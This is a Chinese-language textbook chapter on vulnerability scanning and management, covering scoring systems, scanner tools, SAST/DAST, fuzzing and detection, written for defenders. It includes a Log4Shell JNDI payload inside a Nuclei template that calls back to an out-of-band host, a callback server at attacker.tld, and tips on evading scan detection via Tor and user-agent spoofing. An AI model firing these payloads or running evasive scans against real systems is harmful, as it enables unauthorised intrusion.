7.2.1 CVE：编号#

CVE = Common Vulnerabilities and Exposures，由 MITRE 维护，每个公开的具体漏洞分配唯一编号 CVE-YYYY-NNNNN。

• 申请：通过 CNA（CVE Numbering Authority）；常见 CNA 包括 MITRE、GitHub、Microsoft、Red Hat、Cisco
• 不同的 CVE 不一定不同的根因；同一漏洞可能因平台不同被分配多个 CVE

7.2.2 CWE：弱点分类#

CWE = Common Weakness Enumeration，对类型做分类，例如：

CWE Top 25 每年更新一次，给出最常见弱点排序。

7.2.3 CPE：受影响产品标识#

CPE = Common Platform Enumeration，用统一字符串描述软件版本，便于映射 CVE 到资产清单：

1
cpe:2.3:a:apache:log4j:2.14.1:*:*:*:*:*:*:*
2
   │   │ │       │      │
3
   │   │ │       │      └─ version
4
   │   │ │       └─ product
5
   │   │ └─ vendor
6
   │   └─ part: a=application, h=hardware, o=os
7
   └─ schema version

7.2.4 CVSS v3.1：评分#

CVSS = Common Vulnerability Scoring System，0.0–10.0。

1
AV: Attack Vector       (Network/Adjacent/Local/Physical)
2
AC: Attack Complexity   (Low/High)
3
PR: Privileges Required (None/Low/High)
4
UI: User Interaction    (None/Required)
5
S : Scope               (Unchanged/Changed)
6
C : Confidentiality     (None/Low/High)
7
I : Integrity           (None/Low/High)
8
A : Availability        (None/Low/High)

1
ISC_Base = 1 - (1-Cᵥ)(1-Iᵥ)(1-Aᵥ)
2
ISC = Scope==Unchanged ? 6.42·ISC_Base : 7.52·(ISC_Base-0.029) - 3.25·(ISC_Base-0.02)¹⁵
3
Exp = 8.22·AVᵥ·ACᵥ·PRᵥ·UIᵥ
4
若 ISC ≤ 0：Base = 0
5
若 Scope==U：Base = roundup(min(ISC + Exp, 10))
6
若 Scope==C：Base = roundup(min(1.08·(ISC + Exp), 10))

7.2.5 CVSS v4.0 主要变化（2023 发布）#

• 新增 Threat metrics（取代 Temporal）：Exploit Maturity（X / Attacked / PoC / Unreported）
• 新增 Supplemental metrics：Safety、Automatable、Recovery
• Base Metrics 拆分漏洞影响与后续系统影响两套
• 评分公式更加非线性，反映”链式利用”

7.2.6 EPSS：被利用概率#

EPSS = Exploit Prediction Scoring System (FIRST.org)。基于历史实测数据 + 漏洞特征训练的逻辑回归模型，输出 未来 30 天内被实际利用的概率 (0–1)。

• 优势：和实战相关性远高于纯 CVSS
• 来源特征：CVE 描述、CWE、CPE、Metasploit 模块、社交媒体提及、CISA KEV

1
高 EPSS（>0.5）+ 中 CVSS（6.x）  →  可能比 高 CVSS + 低 EPSS 更紧急

7.2.7 CISA KEV：已知被实际利用的漏洞#

CISA Known Exploited Vulnerabilities Catalog 每周更新；进入 KEV 的漏洞在美联邦机构有强制修复期限。 安全运营：把 KEV 列表作为 SLA 的高优先级输入。

7.2.8 漏洞优先级三件套（推荐打分）#

1
priority_score =
2
    0.4 · CVSS_Env / 10
3
  + 0.4 · EPSS
4
  + 0.2 · KEV_flag
5
  + 业务权重 (asset_criticality)

7.4.1 Nmap 内部原理#

1
Attacker  ── SYN ─────►   Target    （端口开）
2
          ◄─ SYN/ACK ──
3
          ── RST ──────►              （不完成三次握手 → 不进 logs）

1
Attacker  ── SYN ─────►   Target    （端口关）
2
          ◄─ RST/ACK ──

1
nmap -sV --script=vuln target            # 漏洞类
2
nmap --script=ssl-enum-ciphers -p443 t   # TLS 评估
3
nmap --script=smb-vuln* -p445 t          # SMB 漏洞
4
ls /usr/share/nmap/scripts/ | wc -l      # 600+ 脚本

7.4.2 Masscan：极速扫描#

无状态发包（按速率而非连接），单台可达 millions pps：

1
masscan 0.0.0.0/0 -p443 --rate=100000 --excludefile rfc1918.txt -oG out.txt

工作流：先 masscan 找开放端口 → nmap 精扫 banner / 服务。

7.4.3 Nessus / OpenVAS#

商业 / 开源主机网络扫描器。

• 插件式（NASL 语言）
• 凭证扫描（带 SSH/SMB 凭证 → 直接读软件版本，更准）
• 合规扫描（CIS / DISA STIG）
• 输出 XML / CSV / HTML，可对接 SIEM

1
include('http_func.inc');
2
http_check_remote_code({port: get_http_port(default:80),
3
  match: "Apache/2.4.49"});
4
if (description) {
5
  script_id(900001);
6
  script_name(english:"Apache 2.4.49 path traversal");
7
  script_summary(english:"Detects vulnerable version");
8
  script_category(ACT_GATHER_INFO);
9
  script_family(english:"Web Servers");
10
  exit(0);
11
}

7.4.4 Nuclei：模板化扫描#

ProjectDiscovery 出品，YAML 模板，覆盖 7000+ CVE / misconfig。

1
# nuclei-templates/cves/2021/CVE-2021-44228.yaml（简化）
2
id: CVE-2021-44228
3

4
info:
5
  name: Apache Log4j RCE
6
  severity: critical
7
  classification:
8
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
9
    cvss-score: 10
10
    cve-id: CVE-2021-44228
11
    cwe-id: CWE-502
12

13
http:
14
  - method: GET
15
    path:
16
      - "{{BaseURL}}"
17
    headers:
18
      User-Agent: '${jndi:ldap://{{interactsh-url}}/x}'
19
      Referer: '${jndi:ldap://{{interactsh-url}}/x}'
20
      X-Api-Version: '${jndi:ldap://{{interactsh-url}}/x}'
21
    matchers-condition: and
22
    matchers:
23
      - type: word
24
        part: interactsh_protocol
25
        words: ['dns', 'ldap']

1
nuclei -u https://target.com -severity critical,high
2
nuclei -l live.txt -t cves/ -o nuclei.json -j
3
nuclei -t custom-template.yaml -l targets.txt -rate-limit 100

1
interactsh-server -domain attacker.tld
2
interactsh-client -url https://attacker.tld

7.4.5 Cobalt Strike / Metasploit 集成#

• nmap -oX nmap.xml target → db_import nmap.xml (msfconsole) → vulns -p 自动关联模块
• 蓝队建议屏蔽常见扫描特征（SYN 速率、特定 fingerprint）

7.5.1 工作流#

1
URL / API spec
2
   │
3
   ▼
4
被动爬虫（解析 HTML / JS / sitemap）
5
   │
6
   ▼
7
DOM 解析 + 表单提取 + GraphQL/OpenAPI 导入
8
   │
9
   ▼
10
主动 payload 注入
11
   │   ├── SQLi / NoSQLi
12
   │   ├── XSS（多上下文）
13
   │   ├── SSRF / SSTI / XXE
14
   │   ├── Open Redirect
15
   │   ├── Path Traversal
16
   │   ├── Auth bypass / IDOR
17
   │   └── 业务逻辑（弱 fuzz）
18
   ▼
19
响应差分（基线 + 突变）
20
   │
21
   ▼
22
告警 + 人工 triage

7.5.2 Burp Suite#

7.5.3 OWASP ZAP#

开源替代，主要模块同 Burp。亮点：

• 自动化 API（Daemon 模式 + REST）→ CI 友好
• ZAP Heads-Up Display 在浏览器侧栏
• DAST CLI：zap-cli quick-scan -s xss,sqli https://t/

7.5.4 现代 API 扫描#

挑战：传统爬虫无法遍历 SPA / GraphQL / gRPC。

策略：

• 拿到 OpenAPI / Postman Collection → 强制 schema 化扫描
• GraphQL：开启 introspection 时直接拉 schema → graphql-cop
• gRPC：用 reflection 或 .proto → ghz / grpc_cli

7.5.5 业务逻辑漏洞 — DAST 的盲区#

逻辑漏洞往往无固定 payload，需要：

• 状态机建模（Burp 的 logic-checker / IAST 工具）
• “竞态” 单包多请求（PortSwigger 的 Single Packet Attack）
• 人工对每个端点”想象 5 种意外用法”

7.6.1 SAST：源码静态分析#

1
rules:
2
  - id: java-runtime-exec-tainted
3
    languages: [java]
4
    severity: ERROR
5
    message: Runtime.exec on tainted input
6
    mode: taint
7
    pattern-sources:
8
      - patterns:
9
          - pattern-either:
10
              - pattern: $REQ.getParameter(...)
11
              - pattern: $REQ.getHeader(...)
12
    pattern-sinks:
13
      - pattern: Runtime.getRuntime().exec($X)
14
    pattern-sanitizers:
15
      - pattern: Pattern.compile(...).matcher($X).matches()

1
codeql database create db --language=javascript --source-root=.
2
codeql database analyze db codeql/javascript-queries \
3
  --format=sarifv2.1.0 --output=results.sarif

7.6.2 SCA：第三方依赖#

1
trivy image alpine:3.10
2
trivy fs --scanners vuln,secret,config .
3
osv-scanner scan -r .

1
syft packages dir:. -o cyclonedx-json > sbom.json
2
grype sbom:./sbom.json

7.6.3 IAST：交互式（运行时插桩）#

• 在应用进程内插桩（Java agent / .NET profiler）
• 同时观察源（HTTP 请求） + 汇（SQL/exec）+ 流转
• 适合 CI 自动化测试阶段
• 工具：Contrast Security、Seeker、洋葱

7.6.4 IaC 扫描（Infrastructure-as-Code）#

1
checkov -d .                          # 扫描全目录
2
checkov -f main.tf --output sarif
3
kube-bench run --targets master,node

7.7.1 Lynis#

1
lynis audit system                # 单机审计
2
lynis audit system --pentest      # 偏渗透视角
3
lynis audit dockerfile Dockerfile # 镜像清单

报告 /var/log/lynis.log，给出加固建议（含分数 hardening_index）。

7.7.2 OpenSCAP / SCAP Workbench#

按 SCAP 标准（XCCDF、OVAL）进行合规扫描，常见配置：

• DISA STIG（美国国防部基线）
• CIS Benchmark
• PCI-DSS / HIPAA / 等保

1
oscap xccdf eval --profile xccdf_org.ssgproject.content_profile_pci-dss \
2
  --results-arf arf.xml --report report.html /usr/share/xml/scap/ssg/content/ssg-rhel8-ds.xml

7.7.3 容器镜像#

1
trivy image --severity HIGH,CRITICAL nginx:1.21
2
docker scout cves nginx:1.21
3
grype nginx:1.21

7.7.4 容器运行时扫描#

• Falco：基于 eBPF / kernel module 检测可疑行为（容器逃逸尝试、shell 在容器里启动）
• Tracee：Aqua 出品，eBPF 专注安全事件
• Sysdig Secure：商业整套

7.8.1 类别#

7.8.2 AFL++ 工作流#

1
源码 编译时插桩 (afl-clang-fast)
2
   │
3
   ▼
4
afl-fuzz -i seeds/ -o out/ -- ./target @@
5
   │
6
   ▼
7
内部循环：
8
  1. 选种子
9
  2. 突变（位翻转、算术、字典、splicing）
10
  3. 执行 + 收集分支覆盖（共享内存 bitmap）
11
  4. 若新覆盖 → 入队列；若崩溃 → 入 crashes
12
   │
13
   ▼
14
classify crashes (afl-tmin / afl-cmin)
15
   │
16
   ▼
17
人工审计 / 自动化 triage

7.8.3 libFuzzer harness#

1
extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
2
    if (size < 4) return 0;
3
    parse_input(data, size);
4
    return 0;
5
}

1
clang -fsanitize=fuzzer,address,undefined harness.c target.c -o fuzzer
2
./fuzzer corpus/

7.8.4 OSS-Fuzz#

Google 维护的开源项目托管 fuzzing 平台，已发现 30,000+ bug。 对开源项目维护者：写 harness → 上传 → 7×24 自动跑。

7.9.1 推荐架构#

1
┌─────────────┐  ┌──────────────┐  ┌──────────────┐
2
│  扫描器集群   │ →│ 数据归一化     │ →│ 资产库 (CMDB)  │
3
└─────────────┘  └──────────────┘  └──────────────┘
4
                          ↓
5
                  ┌──────────────┐
6
                  │ 漏洞库 + 去重   │
7
                  └──────┬───────┘
8
                         ↓
9
                 EPSS / KEV / 业务权重
10
                         ↓
11
                  ┌──────────────┐
12
                  │ 优先级 / SLA  │
13
                  └──────┬───────┘
14
                         ↓
15
              票据系统 (Jira / Linear)
16
                         ↓
17
              修复验证（重新扫描）
18
                         ↓
19
                 度量看板（Grafana）

7.9.2 关键度量#

• 平均检测时间 MTTD
• 平均修复时间 MTTR（按等级分）
• SLA 命中率：Critical < 7d、High < 30d、Medium < 90d
• 漏洞密度（每千行代码 / 每个资产）
• KEV 命中数与生效时间

7.9.3 工程化建议#

• 资产是基础，没有干净的资产库一切都白搭
• 去重要按 (asset, port, software, CVE) 聚合
• “误报”打标签后下次自动忽略
• “修复”必须配合再次扫描验证，否则永远关不掉
• 把扫描结果同步进威胁情报平台（MISP）做关联

7.10.1 Log4Shell (CVE-2021-44228)#

7.10.2 Spring4Shell (CVE-2022-22965)#

• 仅在 JDK 9+ 且 Tomcat WAR 部署中可触发
• 扫描必须组合多个条件：JDK 版本 + Spring Beans 版本 + Tomcat
• Nuclei 模板：尝试改 Tomcat AccessLog 写 JSP，再访问
• 误报多：需配合资产清单做交叉验证

7.10.3 ProxyLogon (CVE-2021-26855 + 26857 + 26858 + 27065)#

链式利用 Exchange，扫描方式：

• HTTP /owa/auth/x.js Cookie 异常
• /aspnet_client/system_web/*.aspx webshell 残留
• 微软发布过 IOC + 检测脚本（Test-ProxyLogon.ps1）

7.10.4 CitrixBleed (CVE-2023-4966)#

NetScaler / Gateway 内存泄露 → 偷会话 token 绕过 MFA。 扫描思路：发送特定 HTTP 请求看是否长响应；蓝队检测：异常 cookie session 出现新地理位置。

7.12.1 抗扫描手段#

• WAF / Rate limiting：识别 nuclei UA、JA3
• Honeypot：cowrie、t-pot
• IDS：Suricata + ET Open Rules
• DNS 异常监控（如 OOB 回连域名）
• 反 Recon：fingerprint 干扰、虚假错误页

7.12.2 自家攻击面管理 ASM#

• 持续资产发现（合规、影子 IT）
• 持续配置漂移监测
• 持续凭证泄露监控
• 持续 EDR / Patch 状态对账

7.12.3 内部 Bug Bounty / 内部 SRC#

• 鼓励员工与外部研究员负责任披露
• HackerOne / 火线 / 漏洞银行（中国） 平台搭桥
• 内部明确 RoE 与奖励机制

7.13.1 CI / CD 集成#

• PR 阶段：Semgrep / Trivy / Checkov，结果作为 PR 注释 + 阻断红线
• Build 阶段：SBOM 生成 + 签名 (Sigstore / cosign)
• Deploy 阶段：镜像准入 (OPA / Kyverno) 拒绝高危镜像
• Runtime：Falco / Tracee 检测异常行为

7.13.2 选型决策矩阵#

7.13.3 Anti-pattern#

• 把 Nessus 报告原样发给开发：噪音 / 误报让开发心累
• 全靠 SAST 不做 DAST：业务逻辑 / 配置类漏洞漏掉
• 修一个 CVE 不验证：影子复活
• KPI 只看”修了多少”不看”修了什么”：HIGH / Critical 命中才是关键

参考答案要点#

1. 0.4·0.75 + 0.4·0.8 + 0.2·1 + 0.2·0.6 = 0.3 + 0.32 + 0.2 + 0.12 = 0.94 → 极高优先级
2. pattern: requests.get(..., verify=False, ...) + 严重级
3. CVSS 反映理论严重度；EPSS 反映被实际利用概率；广义 0day 高 CVSS 但低 EPSS。

教材#

• 《The Vulnerability Researcher’s Handbook》Benjamin Strout
• 《The Web Application Hacker’s Handbook》（Burp 部分）
• 《Practical Vulnerability Management》Andrew Magnusson
• NIST SP 800-115《Technical Guide to Information Security Testing and Assessment》
• NIST SP 800-30《Risk Assessments》

参考资料#

• NVD：https://nvd.nist.gov/
• CWE：https://cwe.mitre.org/
• CISA KEV：https://www.cisa.gov/known-exploited-vulnerabilities-catalog
• EPSS：https://www.first.org/epss
• ProjectDiscovery 文档：https://docs.projectdiscovery.io/
• OWASP WSTG（Web Security Testing Guide）
• OWASP ASVS（Application Security Verification Standard）

报告 / 论文#

• Verizon DBIR 年度报告
• M-Trends 年度报告
• SANS Top 25 Software Errors
• OWASP State of DevSecOps

7.17.1 威胁情报源#

• OSINT：CISA、JPCERT、CN-CERT、NVD
• 商业：Recorded Future、Mandiant、CrowdStrike、奇安信、绿盟
• 社区：Exploit-DB、PacketStorm、GitHub awesome-cve-poc
• 暗网：Flashpoint、IntSights（合规渠道）

7.17.2 MISP 集成#

MISP（Malware Information Sharing Platform）开源威胁情报平台。 工作流：

1. 接入多个 feed（CIRCL、AbuseCH、自家 honeypot）
2. 自动归并 IOC（IP / Hash / Domain / CVE）
3. 与 SIEM、防火墙、EDR 双向同步
4. 支持 STIX 2.1 / TAXII

7.17.3 漏洞情报触发应急#

1
高级 IOC 命中 + KEV 收录 + 资产覆盖
2
       │
3
       ▼
4
30 分钟内通报 SOC 经理
5
       │
6
       ▼
7
临时缓解（WAF / Egress / 关停）
8
       │
9
       ▼
10
24 小时内出补丁计划
11
       │
12
       ▼
13
72 小时内全量修复或风险接受

7.18.1 频控与速率#

• WAF / IPS 对单 IP 高频请求触发拦截
• Burp Throttle / Nuclei -rate-limit / Masscan 可调
• 分布式扫描：通过云函数 / 多 VPS / Tor 出口

7.18.2 UA 与指纹伪装#

• Nuclei 可定制 Header：避免默认 Nuclei/v3 UA
• httpx -random-agent
• 客户端 hello 重写（utls / mitm）

7.18.3 检测端反制#

• 异常 UA + JA3 关联告警
• 蜜罐路径触发告警（如 /admin/.git/config）
• 蜜罐 webshell（cowrie 类）
• 出站 RST 注入（防扫描器拿到 banner）

7.18.4 紫队演练验证扫描覆盖#

1
Atomic Red Team T1190 (Exploit Public-Facing Application)
2
       ├── 模拟扫描行为
3
       ▼
4
SOC 是否产生告警？告警时间？
5
       ▼
6
WAF / IPS 是否拦截？
7
       ▼
8
扫描结果 vs 真实漏洞清单 → 差距分析

7.19.1 PCI-DSS 4.0 关键要求#

• Req 11.3：内 / 外部漏扫每季度，重大变更后再扫
• Req 11.3.2：外扫由 ASV（Approved Scanning Vendor）执行
• Req 6.3：Bug Tracking 与修复 SLA

7.19.2 ISO 27001 / 等保 2.0#

• 等保 2.0 三级以上要求：定期漏扫 + 风险评估 + 整改证据
• 审计材料：扫描报告、复测报告、修复工单、闭环证据

7.19.3 美国 EO 14028 / SBOM#

• 联邦政府供应商必须提供 SBOM
• 漏洞披露要求 (VDP) 强制
• 软件供应链（SLSA Level 2+）

7.19.4 GDPR 与漏洞披露#

• 数据泄露 72 小时内通报 DPA（数据保护机构）
• 漏洞导致数据泄露需评估”可能伤害”
• 用户通知义务

与其他章节的接口#

• ← Ch06：OSINT 给资产范围；扫描的输入
• → Ch08：扫描发现是渗透链路的”入口候选”
• → Ch11：扫描结果是 SOC 检测有效性的对照基准
• → Ch12：云资产 / IaC 扫描在那里继续展开

补充检查表#

• 我能给出一个项目从 PR 到 Deploy 的完整 DevSecOps 工具链
• 我能解释 Nuclei、Nessus、Burp 的工作原理与各自盲区
• 我能写自定义 Semgrep / Nuclei 模板用于私有代码 / 资产
• 我能用 EPSS + KEV + 业务权重打分，输出修复优先级
• 我能搭建一条最小可行的 SBOM → 风险监控 流水线

如全部勾上，进入 Ch08；否则回到对应小节再做实践。